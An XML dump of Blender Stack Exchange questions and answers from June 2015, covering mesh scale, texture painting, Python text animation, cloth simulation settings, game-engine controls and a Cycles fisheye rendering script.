  <row Id="32835" PostTypeId="2" ParentId="32792" CreationDate="2015-06-22T15:21:28.273" Score="3" Body="&lt;p&gt;I'm not quite sure how the mesh has got like this, but essentially I think the mesh has been scaled (in object mode, I think) so it has zero thickness (in the object panel the 'z' scale value is '0') which I think is why you can't move anything in edit mode. Any movement is being 'squashed' back to zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this you can go to object mode, select the mesh and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;&gt; &lt;em&gt;Scale&lt;/em&gt;. This 'applies' the scale, resetting the scale values to '0' but leaving the mesh appearance unchanged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question may help, though applying scale can be a complex subject:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/12288/why-are-the-longer-edges-being-beveled-more&quot;&gt;Why are the longer edges being beveled more?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-06-22T15:21:28.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32836" PostTypeId="2" ParentId="32801" CreationDate="2015-06-22T15:39:53.697" Score="4" Body="&lt;p&gt;If you don't want to paint with a solid colour in texture painting you can choose a texture to use as a brush to paint onto your object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first step is to define the texture, while any built-in textures can be used an image would be the most common source. In the texture panel create a new brush texture and select the image (this will look a little different if your using Blender Internal)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1cjQD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Tools sidebar &lt;kbd&gt;T&lt;/kbd&gt; you will find a panel for Texture, choose the texture you have setup and select stencil for the mapping type. You will also see options to alter the rotation and scale for the texture. You can also create a new brush texture by clicking the &lt;code&gt;+&lt;/code&gt; under the texture preview.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gWaHx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you move the cursor over the 3dview you will now see the texture in a transparent overlay. You can use &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot;&gt; RMB&lt;/kbd&gt; to drag the image into place, &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot;&gt; RMB&lt;/kbd&gt; to rotate and &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot;&gt; RMB&lt;/kbd&gt; to scale, when you &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/FwrAW.png&quot; alt=&quot;LMB&quot; title=&quot;Left Mouse Button&quot;&gt; LMB&lt;/kbd&gt; on the texture it will paint it onto the image in the selected material slot. This allows you to easily place the brush texture to match up with existing texture on your model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B3gqh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-06-22T15:39:53.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32837" PostTypeId="2" ParentId="32833" CreationDate="2015-06-22T15:49:21.893" Score="3" Body="&lt;p&gt;There are two techniques for animating text.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first technique is to have a vast number of text objects whose hide_render property (the camera icon in the outliner) is keyframed so that each only shows up in the rendered scene for the appropriate frame or frames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other is to use a frame_change_pre handler (python) to change the body of the text curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a modified version of the example from Garrett's answer to &lt;a href=&quot;https://blender.stackexchange.com/questions/7904/dynamic-text-in-animation/8087#8087&quot;&gt;How can I make dynamic text in an animation?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scene = bpy.context.scene&#xA;&#xA;def recalculate_text(scene):&#xA;    obj = bpy.data.objects['Text']&#xA;    bar = bpy.data.objects['Cube']&#xA;    obj.data.body = &quot;h=%.1f&quot; % bar.dimensions[2]&#xA;    obj.location[2] = bar.dimensions[2] + bar.location[2] + 0.2&#xA;&#xA;bpy.app.handlers.frame_change_pre.append(recalculate_text)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(I modified the default cube by moving its origin to the bottom of the cube, and animated its Z size property).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would have to put this python script in a text buffer and run it.  If you want it to automatically run every time blender loads the file you should give the text buffer a name ending in .py and click the Register checkbox for that text buffer.  This also means you will have to load the .blend file Trusted (either using the Reload Trusted button, or by invoking blender with the -y flag).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other technique of having a swarm of text curves whose visibility is animated is demonstrated at &lt;a href=&quot;http://web.purplefrog.com/~thoth/blender/python-cookbook/data-graph.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://web.purplefrog.com/~thoth/blender/python-cookbook/data-graph.html&lt;/a&gt; .  Here is a relevant excerpt:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def setVisibility(obj, f1, f2):&#xA;&#xA;    if not f2 is None:&#xA;        obj.keyframe_insert(data_path='hide', frame= bpy.context.scene.frame_end+10)&#xA;    obj.keyframe_insert(data_path='hide_render', frame=f1)&#xA;    obj.keyframe_insert(data_path='hide', frame=f1)&#xA;    obj.hide = True&#xA;    obj.hide_render = True&#xA;    obj.keyframe_insert(data_path='hide', frame=0)&#xA;    obj.keyframe_insert(data_path='hide_render', frame=0)&#xA;    if not f2 is None:&#xA;        obj.keyframe_insert(data_path='hide', frame=f2)&#xA;        obj.keyframe_insert(data_path='hide_render', frame=f2)&#xA;&#xA;&#xA;def makeText(text, loc, f1, f2):&#xA;    curve = bpy.data.curves.new(&quot;label&quot;, 'FONT')&#xA;    curve.body = text&#xA;    o1 = bpy.data.objects.new(&quot;label&quot;, curve)&#xA;    bpy.context.scene.objects.link(o1)&#xA;    o1.location = loc&#xA;    if not f1 is None:&#xA;        setVisibility(o1, f1, f2)&#xA;    o1.parent = bpy.data.objects[&quot;font folder&quot;]&#xA;&#xA;    curve.materials.append(bpy.data.materials[&quot;text&quot;])&#xA;&#xA;    return o1&#xA;&#xA;&#xA;def make2Text(text1, text2, loc, f1, f2):&#xA;    o1 = makeText(text1, loc, f1, f2)&#xA;    o2 = makeText(text2, loc, f1, f2)&#xA;    o1.data.align = 'RIGHT'&#xA;&#xA;    return (o1, o2)&#xA;&#xA;# animating text by creating hundreds of individual text objects that pop in and out&#xA;f1 = -1&#xA;for i,xy  in enumerate(data):&#xA;    f2 = frameForX(i, len(data), f0, f9)&#xA;    f3 = frameForX(i+1, len(data), f0, f9)&#xA;    if (i+1 &amp;gt;= len(data)):&#xA;        f3 = None&#xA;    if (f2&amp;gt;f1):&#xA;        make2Text(&quot;x=%d,&quot;%xy[0], &quot;y=%.1f&quot;%xy[1], [4,6,1], f2, f3)&#xA;    f1 = f2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="660" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2015-06-22T16:02:49.403" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32838" PostTypeId="2" ParentId="32731" CreationDate="2015-06-22T16:11:26.853" Score="2" Body="&lt;p&gt;Blender has specific places that it looks for addons and config files and stores temporary files, you don't need to configure these locations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As described in &lt;a href=&quot;http://www.blender.org/manual/preferences/file.html&quot; rel=&quot;nofollow&quot;&gt;the manual&lt;/a&gt; most of the File Paths that can be configured in the preferences are &quot;&lt;strong&gt;default search paths&lt;/strong&gt;&quot; which means they are the folder that will be displayed in the file browser when you choose to open a file of that type. For example if you set Fonts to &lt;code&gt;desktop/MyFonts&lt;/code&gt; then when you click &quot;load a new font button&quot; in a text object, the file browser will start in your &lt;code&gt;MyFonts&lt;/code&gt; folder,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender will not create these folders for you and you can create them anywhere that is convenient for you or choose any existing folder for each one.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-06-22T16:11:26.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32839" PostTypeId="2" ParentId="32809" CreationDate="2015-06-22T16:24:53.843" Score="3" Body="&lt;p&gt;You are very close in your setup. you only need one more mouse look actuator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason why you need another actuator is because you currently have nothing to make the airship rotate along the Y. Adding another mouse look actuator can fix that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also changed the settings slightly from what you had, because I think it behaves better with these values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ss0Nk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first mouse look actuator does the roll.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kqOUF.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second mouse look actuator does the pitch and yaw.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J6YH3.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With both of them together, it behaves just like a &lt;em&gt;&lt;a href=&quot;https://blender.meta.stackexchange.com/a/531/5426&quot;&gt;flying fortress of total monkey awesomeness&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JxIrq.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the actual mesh from the flying fortress only with BGE materials&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/76YNY.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="-1" LastEditDate="2017-03-16T15:51:59.687" LastActivityDate="2015-06-22T16:55:01.827" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32841" PostTypeId="1" AcceptedAnswerId="32876" CreationDate="2015-06-22T17:03:28.553" Score="4" ViewCount="617" Body="&lt;p&gt;My question is similar to this: &lt;a href=&quot;https://blender.stackexchange.com/questions/32404/how-to-make-a-procedural-hair-strand-texture&quot;&gt;How to make a procedural hair strand texture?&lt;/a&gt;!&#xA;I textured some body parts of my model using images (.jpgs) as masks. Now I want all of them to be exchanged to procedural ones.&#xA;For example I succeed to make a procedural mask for an eye (as pictured below).&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qp4QA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I wonder how to do the same trick on my jaw mesh. I want a mask to appear only on the teeth tips (the dark parts of the teeth pictured below), where transparent material would be applied. Is it possible, assuming that this is one solid mesh without any loose parts?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SbkYn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-06-23T14:25:02.223" Title="Making a procedural mask for a specific parts of a mesh" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;masking&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32842" PostTypeId="2" ParentId="7825" CreationDate="2015-06-22T17:04:05.440" Score="23" Body="&lt;p&gt;Since version &lt;a href=&quot;https://archive.blender.org/wiki/index.php/Dev:Ref/Release_Notes/2.74/UI#Node_Editor&quot; rel=&quot;nofollow noreferrer&quot;&gt;2.74&lt;/a&gt;, blender has has the ability to display text blocks in the node editor.&lt;br&gt;See &lt;a href=&quot;https://docs.blender.org/manual/en/dev/interface/controls/nodes/frame.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;the manual&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nb7eP.png&quot; alt=&quot;screenshot&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Add a frame node, then in the properties region add the text block you want to display. (A text block is simply a file made in blender's text editor.)&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5dUov.png&quot; alt=&quot;frame node properties&quot; title=&quot;Label Size for X-27&quot; /&gt;&lt;br /&gt;&#xA;The frame will display the text exactly as it is in the text editor without word wrapping, you have to add the line brakes in manually (by pressing &lt;kbd&gt;Enter&lt;/kbd&gt; at the end of the line).&lt;br /&gt;&#xA;This is the easiest way to make notations in the node editor.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2020-10-13T00:39:13.587" LastActivityDate="2020-10-13T00:39:13.587" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32843" PostTypeId="2" ParentId="7825" CreationDate="2015-06-22T18:35:01.760" Score="4" Body="&lt;p&gt;There is an addon that can make it possible adding Note Nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is stated everything needed on the &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?354893-Generic-Note-Node&quot; rel=&quot;nofollow noreferrer&quot;&gt;BlenderArtists&lt;/a&gt; page where addon was posted,  I will make short summary here to not make this answer link-only.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Functionality. You can create the node from a panel &lt;em&gt;(which opens with&#xA;  &lt;kbd&gt;N&lt;/kbd&gt;)&lt;/em&gt; in the node editor called Note. Either an empty node or&#xA;  from clipboard.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A note can either be linked to a blender text buffer or store text. If&#xA;  text is stored a linked file is ignored. You access settings of the&#xA;  node from the properties of the node &lt;em&gt;(press &lt;kbd&gt;N&lt;/kbd&gt; to open)&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(&lt;em&gt;Italic is mine&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What it looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZMyTr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;image from BA post&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/4gs27t0mg4tlgdf/generic_note.zip?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Download&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Nodes/Generic_Note&quot; rel=&quot;nofollow noreferrer&quot;&gt;Documentation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1245" LastActivityDate="2015-06-22T18:35:01.760" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32844" PostTypeId="1" AcceptedAnswerId="34556" CreationDate="2015-06-22T18:36:35.303" Score="8" ViewCount="3167" Body="&lt;p&gt;For a game I'm making in the blender game engine, I need to generate an infinite terrain - preferably in chunks and unloading when they get too far away.&#xA;Perlin noise would probably be a good way to do it (I think) but I'd need to have it split into chunks and also not only infinitely generate but unload itself.&lt;/p&gt;&#xA;" OwnerUserId="14916" LastActivityDate="2015-12-23T14:41:18.623" Title="How to procedurally generate an infinite terrain using perlin noise" Tags="&lt;game-engine&gt;" AnswerCount="2" CommentCount="7" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32845" PostTypeId="2" ParentId="32043" CreationDate="2015-06-22T18:44:43.583" Score="2" Body="&lt;h2&gt;Simulating the Collar of a Dress Shirt:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Assuming you have a dress shirt that you want to simulate with Blender's Cloth Modifier. I would simulate the shirt with the Cloth Modifier; however, the shirt collar I would treat differently. In fact, I would personally want the shirt collar to be so &quot;stiff&quot; that it does't have any wrinkles in it. So if you aren't using any wrinkles in the shirt collar, then the question is: does the shirt collar experience any &quot;stretching&quot; or &quot;shearing&quot;? I don't think it would. In this case, I just wouldn't use the Cloth Modifier at all for the dress shirt collar. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At most (for simulation), I would treat it as a Collision Object (but I don't think it's necessary). I would just vertex-pin the shirt collar to another part of the shirt -- or even simpler vertex-pin to somewhere on the humanoid model's neck area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still want to simulate the shirt collar with the Cloth Modifier, then you are going to want to make the shirt collar &quot;extremely stiff&quot; for bending (you probably don't want wrinkles), and very stiff for stretching/shearing (assuming you aren't expecting too many stretching forces or shearing forces to act on the shirt). That said, if you want to use high stiffness values, then your simulation will probably explode (aka, &quot;goes crazy&quot;) -- unless you increase the number &quot;Simulation Steps per Frame&quot; to an extremely high number. Increasing your Simulation &quot;Steps&quot; Per Frame will result in an extremely long simulation time -- it will slow down your simulation time from minutes to hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find more information about why you need to increase the &quot;Steps&quot;, when you have high &quot;Stiffness&quot; here via Witkin &amp;amp; Baraff 1998. It talks about &quot;how not to blow up&quot;: &#xA;&lt;a href=&quot;http://www.cs.cmu.edu/~baraff/sigcourse/slidese.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.cs.cmu.edu/~baraff/sigcourse/slidese.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Cloth Stiffness Parameters:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;bending stiffness&lt;/strong&gt; is based on the Ko &amp;amp; Choi 2002 Wrinkling Cloth paper:&#xA;&lt;a href=&quot;http://graphics.snu.ac.kr/~kjchoi/publication/cloth.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://graphics.snu.ac.kr/~kjchoi/publication/cloth.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;structural stiffness&lt;/strong&gt; refers to the stretching and shearing deformations. The parameter is based on the Provot Cloth paper: &#xA;&lt;a href=&quot;https://graphics.stanford.edu/courses/cs468-02-winter/Papers/Rigidcloth.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://graphics.stanford.edu/courses/cs468-02-winter/Papers/Rigidcloth.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information on the Blender Cloth Implementation and Parameters can be found here: &#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/8247/on-what-cloth-simulation-model-is-blender-cloth-physics-based&quot;&gt;On what Cloth Simulation Model is Blender Cloth Physics Based?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13911" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2015-06-25T18:00:21.663" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="32846" PostTypeId="2" ParentId="30463" CreationDate="2015-06-22T18:58:10.420" Score="3" Body="&lt;p&gt;Fast dynamic movement is often a problem for Cloth Solvers/Simulators. Extremely fast dynamic movement such as this requires a much more precise simulation: this means that you have to increase the Simulation &quot;Steps&quot; Per Frame parameter to the extreme. This will slow down your simulation time significantly (hours instead of minutes). However, you will get a more precise/correct simulation as a result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you cannot wait the numerous hours it takes to simulate a cloth simulation with high steps per frame, then consider reducing the subdivision on your 2D mesh/plane. In this way, it will simulate faster due to less mass/particles to simulate. Note: this will help you gain simulation speed, as you also sacrifice realism.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, If you've tried the highest &quot;Steps&quot; possible and it still isn't giving you sufficient correctness/stability for the simulation. Then you might consider using a Cloth Solver/Simulator that uses Implicit Solvers (Witkin, Baraff 1998) as opposed to Explicit Solver (I suspect that the Blender's cloth solver is using an Explicit Solver). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference for Witkin, Barraf 1998: &lt;a href=&quot;http://www.cs.cmu.edu/~baraff/papers/sig98.pdf&quot; rel=&quot;nofollow&quot;&gt;http://www.cs.cmu.edu/~baraff/papers/sig98.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13911" LastEditorUserId="13911" LastEditDate="2015-06-22T19:21:01.577" LastActivityDate="2015-06-22T19:21:01.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32847" PostTypeId="2" ParentId="29210" CreationDate="2015-06-22T19:12:47.137" Score="2" Body="&lt;p&gt;You might have a scene such as this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scene:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;(1) A model/mesh of a humanoid with animated walking. &lt;/li&gt;&#xA;&lt;li&gt;(2) A cloth plane/mesh that is serving as a cape for the humanoid.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Assumptions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;(A) Let's assume that (1) is a high-res polygon mesh.  &lt;/li&gt;&#xA;&lt;li&gt;(B) Let's assume that (2) is a high-res polygon mesh.  &lt;/li&gt;&#xA;&lt;li&gt;(C) Let's assume that (1) is a collision object for (2).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The amount of collisions for (C) is going to be very high, especially since (A) and (B) is true. There are many possible solutions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solutions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;(I) Reduce the subdivisions for (1), resulting in low-res humanoid.&lt;/li&gt;&#xA;&lt;li&gt;(II) Reduce the subdivisions for (2), resulting in low-res cape.&lt;/li&gt;&#xA;&lt;li&gt;(III) Create a copy of (1) and reduce the subdivisions for only the&#xA;copy. Disable the original humanoid mesh as a collision object;&#xA;enable the copy of the humanoid (low-res) as a collision object. Now,&#xA;the cape will collide/simulate with the low-res humanoid instead of&#xA;the high-res humanoid. Finally, make sure to bake/cache/save the&#xA;simulation for the cape; now only render the cape &amp;amp; the high-res&#xA;humanoid (don't render the low-res humanoid).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can do (I), (II), or both (I) &amp;amp; (II). However, I think the better solution is (III) where you make a low-res copy to stand in as a collision object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feel free to offer any follow-up questions/comments.&lt;/p&gt;&#xA;" OwnerUserId="13911" LastActivityDate="2015-06-22T19:12:47.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32848" PostTypeId="1" CreationDate="2015-06-22T20:08:02.343" Score="2" ViewCount="4492" Body="&lt;p&gt;I am beginner in python script with blender. To start, I write a script to render a simple scene using the cycle engine and a fisheye camera. here is my script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import *&#xA;from math import *&#xA;#delete the cube&#xA;bpy.ops.object.delete(use_global=False)&#xA;# Add a camera fish eye.&#xA;bpy.context.scene.render.engine = 'CYCLES'&#xA;bpy.ops.object.camera_add(view_align=True, location=(0, 0, 2.5), rotation=(0, 0, 0))&#xA;bpy.context.object.rotation_euler[0] = 0&#xA;bpy.context.object.rotation_euler[1] = 0&#xA;bpy.context.object.rotation_euler[2] = 0&#xA;bpy.context.object.data.type = 'PANO'&#xA;bpy.context.object.data.cycles.fisheye_lens = 2.7&#xA;bpy.context.object.data.cycles.fisheye_fov = 3.14159&#xA;bpy.context.object.data.sensor_width = 8.8&#xA;bpy.context.object.data.sensor_height = 6.6&#xA;#Add a lamp.&#xA;bpy.ops.object.lamp_add(type='POINT', radius=1, view_align=False, location=(0, 1.5, 2.5), &#xA;layers=(True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False))&#xA;bpy.context.object.data.shadow_soft_size = 0.01&#xA;bpy.context.object.data.cycles.cast_shadow = True&#xA;#Import the model .mhx in the scene&#xA;bpy.ops.import_scene.makehuman_mhx(filepath=&quot;/Users/xxx/Documents/MakeHuman/v1/exports/scene1/person1.mhx&quot;)&#xA;#Set the rendering parameter&#xA;bpy.context.scene.render.resolution_x = 1360&#xA;bpy.context.scene.render.resolution_y = 1024&#xA;bpy.context.scene.render.resolution_percentage = 50&#xA;bpy.context.scene.frame_start = 1&#xA;bpy.context.scene.frame_end = 2&#xA;bpy.context.scene.frame_step = 1&#xA;bpy.context.scene.render.pixel_aspect_x = 1&#xA;bpy.context.scene.render.pixel_aspect_y = 1&#xA;bpy.context.scene.render.use_file_extension = True&#xA;bpy.context.scene.render.image_settings.color_mode ='RGBA'&#xA;bpy.context.scene.render.image_settings.file_format='PNG' &#xA;bpy.context.scene.render.filepath = &quot;/Users/xx/Desktop/pythonscript/&quot;&#xA;bpy.context.scene.render.image_settings.compression = 90&#xA;##sampling;=path tracing &#xA;bpy.context.scene.cycles.progressive = 'PATH'&#xA;bpy.context.scene.cycles.samples = 50&#xA;bpy.context.scene.cycles.max_bounces = 1&#xA;bpy.context.scene.cycles.min_bounces = 1&#xA;bpy.context.scene.cycles.glossy_bounces = 1&#xA;bpy.context.scene.cycles.transmission_bounces = 1&#xA;bpy.context.scene.cycles.volume_bounces = 1&#xA;bpy.context.scene.cycles.transparent_max_bounces = 1&#xA;bpy.context.scene.cycles.transparent_min_bounces = 1&#xA;bpy.context.scene.cycles.use_progressive_refine = True&#xA;bpy.context.scene.render.tile_x = 64&#xA;bpy.context.scene.render.tile_y = 64&#xA;#insert the walls&#xA;#1)the floor&#xA;bpy.ops.mesh.primitive_plane_add(radius=1, view_align=False, enter_editmode=False, location=(0, 0, 0), layers=(True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False))&#xA;bpy.context.object.dimensions[0] = 4&#xA;bpy.context.object.dimensions[1] = 4&#xA;bpy.context.object.dimensions[2] = 0&#xA;#1)Wall 1&#xA;bpy.ops.mesh.primitive_cube_add(view_align=False, enter_editmode=False, location=(0, 2, 1.25), layers=(True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False))&#xA;bpy.context.object.dimensions[0] = 4&#xA;bpy.context.object.dimensions[1] = 0.05&#xA;bpy.context.object.dimensions[2] = 2.5&#xA;bpy.context.object.location[2] = 1.25&#xA;bpy.context.object.location[1] = 2&#xA;&#xA;#Render results&#xA;bpy.ops.render.render(animation=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I remark that the image rendered using the GUI and using the script are different. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QVfHL.png&quot; alt=&quot;GUI image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3bBYX.png&quot; alt=&quot;Script Image&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11289" LastActivityDate="2015-06-22T20:46:29.417" Title="script for rendering a simple scene" Tags="&lt;python&gt;&lt;scripting&gt;&lt;blender-internal-render-engine&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32849" PostTypeId="1" CreationDate="2015-06-22T20:21:46.440" Score="6" ViewCount="844" Body="&lt;p&gt;So I saw this pic of clouds in game The Witness and I really liked how they made the clouds. How to reproduce them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9iB20.jpg&quot; alt=&quot;example reference clouds&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2806" LastEditorUserId="2217" LastEditDate="2015-06-22T20:43:58.153" LastActivityDate="2015-06-23T17:51:54.820" Title="How to make clouds" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
